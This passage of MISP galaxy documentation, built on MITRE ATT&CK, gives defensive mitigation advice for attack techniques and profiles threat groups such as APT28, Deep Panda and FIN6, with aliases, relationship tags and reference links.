Hidden Window Mitigation - T1143

Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Hidden Window Mitigation - T1143"*

Hidden Window Mitigation - T1143 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Remote Desktop Protocol Mitigation - T1076

Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote

Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Remote Desktop Protocol Mitigation - T1076"*

Remote Desktop Protocol Mitigation - T1076 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"

Data from Information Repositories Mitigation - T1213

To mitigate adversary access to information repositories for collection:

- Develop and publish policies that define acceptable information to be stored
- Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
- Enforce the principle of least-privilege
- Periodic privilege review of accounts
- Mitigate access to Valid Accounts that may be used to access repositories

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data from Information Repositories Mitigation - T1213"*

Data from Information Repositories Mitigation - T1213 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Web Service Mitigation - T1102

Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Web Service Mitigation - T1102"*

Web Service Mitigation - T1102 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Input Prompt Mitigation - T1141

Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Input Prompt Mitigation - T1141"*

Input Prompt Mitigation - T1141 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"

Network Service Scanning Mitigation - T1046

Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Network Service Scanning Mitigation - T1046"*

Network Service Scanning Mitigation - T1046 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"

Windows Management Instrumentation Event Subscription Mitigation - T1084

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation:

FireEye WMI 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Windows Management Instrumentation Event Subscription Mitigation - T1084"*

Windows Management Instrumentation Event Subscription Mitigation - T1084 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"

Data from Local System Mitigation - T1005

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data from Local System Mitigation - T1005"*

Data from Local System Mitigation - T1005 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Custom Cryptographic Protocol Mitigation - T1024

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Custom Cryptographic Protocol Mitigation - T1024"*

Custom Cryptographic Protocol Mitigation - T1024 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Credentials in Files Mitigation - T1081

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Credentials in Files Mitigation - T1081"*

Credentials in Files Mitigation - T1081 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"

Port Knocking Mitigation - T1205

Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Port Knocking Mitigation - T1205"*

Port Knocking Mitigation - T1205 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"

Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Drive-by Compromise Mitigation - T1189"*

Drive-by Compromise Mitigation - T1189 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

Permission Groups Discovery Mitigation - T1069

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Permission Groups Discovery Mitigation - T1069"*

Permission Groups Discovery Mitigation - T1069 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

Logon Scripts Mitigation - T1037

Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.

Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Logon Scripts Mitigation - T1037"*

Logon Scripts Mitigation - T1037 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"

Code Signing Mitigation - T1116

Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Code Signing Mitigation - T1116"*

Code Signing Mitigation - T1116 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"

Hardware Additions Mitigation - T1200

Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.

Block unknown devices and accessories by endpoint security configuration and monitoring agent.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Hardware Additions Mitigation - T1200"*

Hardware Additions Mitigation - T1200 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

Windows Remote Management Mitigation - T1028

Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Windows Remote Management Mitigation - T1028"*

Windows Remote Management Mitigation - T1028 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"

Web Shell Mitigation - T1100

Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation for Privilege Escalation to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as

Web pages.

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Web Shell Mitigation - T1100"*

Web Shell Mitigation - T1100 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"

Process Doppelgänging Mitigation - T1186

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Process Doppelgänging Mitigation - T1186"*

Process Doppelgänging Mitigation - T1186 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Doppelgänging - T1186" with estimative-language:likelihood-probability="almost-certain"

Data Obfuscation Mitigation - T1001

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data Obfuscation Mitigation - T1001"*

Data Obfuscation Mitigation - T1001 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

Software Packing Mitigation - T1045

Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.

Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Software Packing Mitigation - T1045"*

Software Packing Mitigation - T1045 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"

Security Software Discovery Mitigation - T1063

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Security Software Discovery Mitigation - T1063"*

Security Software Discovery Mitigation - T1063 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Enterprise Attack -intrusion Set

Name of ATT&CK Group.

Enterprise Attack -intrusion Set is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Poseidon Group - G0033

Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Poseidon Group - G0033"*

Poseidon Group - G0033 is also known as:

- Poseidon Group

Poseidon Group - G0033 has relationships with:

- similar: misp-galaxy:threat-actor="Poseidon Group" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 2075. Table References

Links
https://attack.mitre.org/wiki/Group/G0033
https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/

Group5 - G0043

Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Group5 - G0043"*

Group5 - G0043 is also known as:

- Group5

Group5 - G0043 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2076. Table References

Links

https://attack.mitre.org/wiki/Group/G0043
https://citizenlab.org/2016/08/group5-syria/

PittyTiger - G0011

PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="PittyTiger - G0011"*

PittyTiger - G0011 is also known as:

- PittyTiger

PittyTiger - G0011 has relationships with:

- similar: misp-galaxy:threat-actor="Pitty Panda" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

Table 2077. Table References

Links
https://attack.mitre.org/wiki/Group/G0011
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

admin@338 - G0018

admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="admin@338 - G0018"*

admin@338 - G0018 is also known as:

- admin@338

admin@338 - G0018 has relationships with:

- similar: misp-galaxy:threat-actor="Temper Panda" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 2078. Table References

Links
https://attack.mitre.org/wiki/Group/G0018
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

RTM - G0048

RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="RTM - G0048"*

RTM - G0048 is also known as:

- RTM

RTM - G0048 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-malware="RTM - S0148" with estimative-language:likelihood-probability="almost-certain"

Table 2079. Table References

Links
https://attack.mitre.org/wiki/Group/G0048
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

APT16 - G0023

APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT16 - G0023"*

APT16 - G0023 is also known as:

- APT16

Table 2080. Table References

Links
https://attack.mitre.org/wiki/Group/G0023
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Sowbug - G0054

Sowbug is a threat group that has conducted targeted attacks against organizations in South

America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)

Contributors: Alan Neville, @abnev

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Sowbug - G0054"*

Sowbug - G0054 is also known as:

- Sowbug

Sowbug - G0054 has relationships with:

- similar: misp-galaxy:threat-actor="Sowbug" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2081. Table References

Links
https://attack.mitre.org/wiki/Group/G0054
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

APT28 - G0007

APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT28 - G0007"*

APT28 - G0007 is also known as:

- APT28
- Sednit
- Sofacy
- Pawn Storm
- Fancy Bear
- STRONTIUM
- Tsar Team
- Threat Group-4127
- TG-4127

APT28 - G0007 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"

Table 2082. Table References

Links
https://attack.mitre.org/wiki/Group/G0007
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign

PLATINUM - G0068

PLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)

Contributors: Ryan Becwar

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="PLATINUM - G0068"*

PLATINUM - G0068 is also known as:

- PLATINUM

PLATINUM - G0068 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2083. Table References

Links
https://attack.mitre.org/wiki/Group/G0068

Winnti Group - G0044

Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044"*

Winnti Group - G0044 is also known as:

- Winnti Group
- Blackfly

Winnti Group - G0044 has relationships with:

- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2084. Table References

Links
https://attack.mitre.org/wiki/Group/G0044
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf
https://securelist.com/games-are-over/70991/
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf

Deep Panda - G0009

Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Deep Panda - G0009"*

Deep Panda - G0009 is also known as:

- Deep Panda
- Shell Crew

- WebMasters
- KungFu Kittens
- PinkPanther
- Black Vine

Deep Panda - G0009 has relationships with:

- similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 2085. Table References

Links
https://attack.mitre.org/wiki/Group/G0009
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf

Molerats - G0021

Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky)2

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Molerats - G0021"*

Molerats - G0021 is also known as:

- Molerats
- Operation Molerats
- Gaza Cybergang

Molerats - G0021 has relationships with:

- similar: misp-galaxy:threat-actor="Molerats" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with

estimative-language:likelihood-probability="almost-certain"

Table 2086. Table References

Links
https://attack.mitre.org/wiki/Group/G0021

Strider - G0041

Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Strider - G0041"*

Strider - G0041 is also known as:

- Strider
- ProjectSauron

Strider - G0041 has relationships with:

- similar: misp-galaxy:threat-actor="ProjectSauron" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="Remsec - S0125" with estimative-language:likelihood-probability="almost-certain"

Table 2087. Table References

Links
https://attack.mitre.org/wiki/Group/G0041
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets
https://securelist.com/faq-the-projectsauron-apt/75533/

Sandworm Team - G0034

Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Sandworm Team - G0034"*

Sandworm Team - G0034 is also known as:

- Sandworm Team
- Quedagh

Sandworm Team - G0034 has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="almost-certain"

Table 2088. Table References

Links
https://attack.mitre.org/wiki/Group/G0034
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html

FIN6 - G0037

FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN6 - G0037"*

FIN6 - G0037 is also known as:

- FIN6

FIN6 - G0037 has relationships with:

- similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2089. Table References

Links
https://attack.mitre.org/wiki/Group/G0037
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf

Dust Storm - G0031

Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Dust Storm - G0031"*

Dust Storm - G0031 is also known as:

- Dust Storm

Dust Storm - G0031 has relationships with:

- similar: misp-galaxy:threat-actor="Dust Storm" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2090. Table References

Links
https://attack.mitre.org/wiki/Group/G0031
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf

TA459 - G0062

TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)

Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="TA459 - G0062"*

TA459 - G0062 is also known as:

- TA459

TA459 - G0062 has relationships with:

- similar: misp-galaxy:threat-actor="TA459" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

Table 2091. Table References

Links
https://attack.mitre.org/wiki/Group/G0062
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts

APT37 - G0067

APT37 is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. The group was believed to be responsible for a 2016 campaign known as Operation Daybreak as well as an earlier campaign known as Operation Erebus. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun

2016)

Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT37 - G0067"*

APT37 - G0067 is also known as:

- APT37
- ScarCruft
- Reaper
- Group123
- TEMP.Reaper

APT37 - G0067 has relationships with:

- similar: misp-galaxy:threat-actor="ScarCruft" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 2092. Table References

Links
https://attack.mitre.org/wiki/Group/G0067
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf
